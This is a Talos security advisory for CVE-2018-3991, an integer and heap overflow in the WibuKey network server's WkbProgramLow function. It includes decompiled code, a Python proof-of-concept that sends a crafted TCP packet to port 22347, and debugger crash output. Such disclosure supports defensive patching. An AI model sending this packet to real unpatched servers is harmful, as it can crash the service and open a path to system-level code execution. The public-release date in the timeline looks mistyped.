Talos Vulnerability Report

TALOS-2018-0659

WIBU-SYSTEMS WibuKey network server management WkbProgramLow remote code execution vulnerability

January 28, 2019
CVE Number

CVE-2018-3991

Summary

An exploitable heap overflow vulnerability exists in the WkbProgramLow function of WibuKey Network server management, version 6.40.2402.500.

A specially crafted TCP packet can cause a heap overflow, potentially leading to remote code execution. An attacker can send a malformed TCP packet to trigger this vulnerability.

Tested Versions

WIBU-SYSTEMS WibuKey Network server management 6.40.2402.500

Product URLs

https://www.wibu.com/products/wibukey.html

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-122: Heap-based Buffer Overflow

Details

WibuKey is a complete DRM solution used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is the hardware, as well as a WibuKey Runtime for Windows which contains necessary Windows drivers and services. This advisory is for a vulnerability in the network management service installed by the Windows package.

This vulnerability can be triggered by sending a TCP packet to the WibuKey Network server management server. By default, the server is running on the Windows system as a SERVICE and listens on port 22347.\

The vulnerability is located in the function WkbProgramLow in WkWin32.dll. When we take a look at how this function is called, we can see the following:

Line 1 	int __stdcall sub_72709040(struct_buffer *buffer, size_t a2)
Line 2 	{
Line 3 	(...)
Line 4 	 
Line 5 	  controlCode = buffer->controlCode;
Line 6 	  v6 = (struct_v6 *)a2;
Line 7 	  _mm_storel_epi64((__m128i *)a2, (__m128i)0i64);
Line 8 	  v6->controlCode = controlCode;
Line 9 	  result = controlCode - 16;
Line 10	  switch ( result )
Line 11	  {
Line 12	  (...)
Line 13		  case 24:
Line 14		  v9 = WkbProgramLow(buffer->dword8, (int)&buffer->dwordC, &buffer->dword18, *(_DWORD *)&buffer->unsigned14);
Line 15		  goto LABEL_105;

The buffer argument contains the TCP packet sent to the server. This means that the attacker has full control over all the arguments passed to the WkbProgramLow function.

Let’s dive into the WkbProgramLow function:

Line 1 	int __stdcall WkbProgramLow(int a1, int a2, PBYTE srcBuffer, size_t size)
Line 2 	{
Line 3 	  struct_v5 *allocatedBuffer; // eax MAPDST
Line 4 
Line 5 	  dword_7272550C = 0;
Line 6 	  allocatedBuffer = alloc_and_initialize(40, size + 24, 0);
Line 7 	  if ( allocatedBuffer )
Line 8 	  {
Line 9 		*(_DWORD *)&allocatedBuffer->gap1[7] = a1;
Line 10		if ( a2 && *(_WORD *)(a2 + 4) )
Line 11		  sub_7270F0C0(a2, &allocatedBuffer->gap1[11]);
Line 12		else
Line 13		  _mm_storel_epi64((__m128i *)&allocatedBuffer->gap1[11], (__m128i)0i64);
Line 14		allocatedBuffer->dword14 = size;
Line 15		memmove(&allocatedBuffer->char18, srcBuffer, size);
Line 16		sub_72708940(0, &allocatedBuffer->char0, 0);
Line 17	  }
Line 18	  if ( !dword_7272550C )
Line 19		return 1;
Line 20	  sub_7270F110(dword_7272550C);
Line 21	  return 0;
Line 22	}

At line 6, an integer overflow appears that has further consequences. Based on the result of that operation, space is allocated on the heap for allocatedBuffer.

Having the size set to 0xFFFFFFFFF will result in a buffer being allocated for approximately 23 bytes, but at line 15, size bytes will be copied into the allocatedBuffer causing a heap-based buffer overflow.

Taking into account that an attacker could fully control all necessary parameters and the TCP server is running with Windows SERVICE privileges, the heap corruption can be turned into a remote code execution and automatically lift the attacker’s privileges to system level.

Exploit Proof of Concept

def server_replay():    
	import socket
	HOST = 'localhost'        # The remote host
	PORT = 22347              # The same port as used by the server
	package = [
	0xB2, 0xAA, 0xC0, 0x00, 0xAA, 0xAA, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31,
	0x32, 0x33, 0x34, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41,
	0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51,
	0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61,
	0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71,
	0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81,
	0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91,
	0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1,
	0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1,
	0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0x10,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00 ]

	package = "".join(package)
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		print "Connecting..."
		s.connect((HOST, PORT))
		print "Sending data..."        
		s.settimeout(1)
		package += "A"*0x6400000
		s.sendall(package)
		print "data sent"
		data = s.recv(1024)
		if len(data) > 0:
			hexdump(data)
		print "Closing socket.."        
		s.close()
	except:
		pass
	
	
if __name__  == "__main__":
	server_replay()

Crash Information

0:003> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

GetUrlPageData2 (WinHttp) failed: 12029.

DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
WKWIN32!WkdVddRegister+6d5a
7271176a f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 7271176a (WKWIN32!WkdVddRegister+0x00006d5a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0041c000
Attempt to read from address 0041c000

FAULTING_THREAD:  00000d60

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  WkSvw32.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  0041c000

FOLLOWUP_IP: 
WKWIN32!WkdVddRegister+6d5a
7271176a f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

READ_ADDRESS:  0041c000 

WATSON_BKT_PROCSTAMP:  585b6c5a

WATSON_BKT_PROCVER:  6.40.2402.500

PROCESS_VER_PRODUCT:  WibuKey Software Protection & Licensing System

WATSON_BKT_MODULE:  WKWIN32.dll

WATSON_BKT_MODSTAMP:  585b6bec

WATSON_BKT_MODOFFSET:  1176a

WATSON_BKT_MODVER:  6.40.2402.500

MODULE_VER_PRODUCT:  WIBU-KEY Software Protection & Licensing System

BUILD_VERSION_STRING:  7601.17514.x86fre.win7sp1_rtm.101119-1850

MODLIST_WITH_TSCHKSUM_HASH:  07ce0c618ed82ce9cba96dd916c5a6ae7305b5d0

MODLIST_SHA1_HASH:  2ddb1931246ef22d4b538c8bee6f6b18629c4ea2

NTGLOBALFLAG:  400

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  784

DUMP_TYPE:  fe

ANALYSIS_SESSION_HOST:  WIN-H9KCU8KT400

ANALYSIS_SESSION_TIME:  08-30-2018 15:34:52.0479

ANALYSIS_VERSION: 10.0.15063.468 x86fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  ENU

PROBLEM_CLASSES: 

	ID:     [0n292]
	Type:   [@ACCESS_VIOLATION]
	Class:  Addendum
	Scope:  BUCKET_ID
	Name:   Omit
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0xd60]
	Frame:  [0] : WKWIN32!WkdVddRegister

	ID:     [0n264]
	Type:   [INVALID_POINTER_READ]
	Class:  Primary
	Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
			BUCKET_ID
	Name:   Add
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0xd60]
	Frame:  [0] : WKWIN32!WkdVddRegister

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

LAST_CONTROL_TRANSFER:  from 727060ae to 7271176a

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
023fe4f8 727060ae 00384128 0038eba8 ffffffff WKWIN32!WkdVddRegister+0x6d5a
023fe510 727093ce 2d2c2b2a 0038eb9c 0038eba8 WKWIN32!WkbProgramLow+0x5e
023fe534 72707ed3 00410fc0 0041b000 72709029 WKWIN32!WkbUniversalCall+0x3de
023fe540 72709029 0000aaaa 00410fc0 0038eb90 WKWIN32!WkmQueryNetUser+0xc53
023fe554 00d9465a 0038eb90 00410fc0 4d878c34 WKWIN32!WkbUniversalCall+0x39
023fe5e0 76e22fac 00359108 00359108 76e26b90 WkSvw32+0x1465a
023fe5ec 76e26b90 00000000 003891f0 00000000 WS2_32!DSOCKET::DropDSocketReference+0xc
023fe624 00000000 003891f0 0035d840 0038eb90 WS2_32!recv+0x90


THREAD_SHA1_HASH_MOD_FUNC:  d0990bc8d18193c62dd54d1df61da8d5e1462dad

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  820817a68e4fbc1cc7fc9033a7d7659d852ab2f9

THREAD_SHA1_HASH_MOD:  6ef95cadd70509e1b81c7198dc96430309c8687f

FAULT_INSTR_CODE:  17e9a4f3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  WKWIN32!WkdVddRegister+6d5a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: WKWIN32

IMAGE_NAME:  WKWIN32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  585b6bec

STACK_COMMAND:  ~3s ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_WKWIN32.dll!WkdVddRegister

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_WKWIN32!WkdVddRegister+6d5a

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  WKWIN32.dll

BUCKET_ID_IMAGE_STR:  WKWIN32.dll

FAILURE_MODULE_NAME:  WKWIN32

BUCKET_ID_MODULE_STR:  WKWIN32

FAILURE_FUNCTION_NAME:  WkdVddRegister

BUCKET_ID_FUNCTION_STR:  WkdVddRegister

BUCKET_ID_OFFSET:  6d5a

BUCKET_ID_MODTIMEDATESTAMP:  585b6bec

BUCKET_ID_MODCHECKSUM:  3b46d

BUCKET_ID_MODVER_STR:  6.40.2402.500

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  WKWIN32.dll!WkdVddRegister

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/WkSvw32.exe/6.40.2402.500/585b6c5a/WKWIN32.dll/6.40.2402.500/585b6bec/c0000005/0001176a.htm?Retriage=1

TARGET_TIME:  2018-08-30T13:34:56.000Z

OSBUILD:  7601

OSSERVICEPACK:  1

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x86

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) SingleUserTS Personal

USER_LCID:  0

OSBUILD_TIMESTAMP:  2010-11-20 13:02:55

BUILDDATESTAMP_STR:  101119-1850

BUILDLAB_STR:  win7sp1_rtm

BUILDOSVER_STR:  6.1.7601.17514.x86fre.win7sp1_rtm.101119-1850

ANALYSIS_SESSION_ELAPSED_TIME:  5ffa

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_wkwin32.dll!wkdvddregister

FAILURE_ID_HASH:  {cf9b5e1a-86d6-16e6-bc82-79b13331a1b2}

Followup:     MachineOwner
---------

Timeline

2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2018-01-28 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.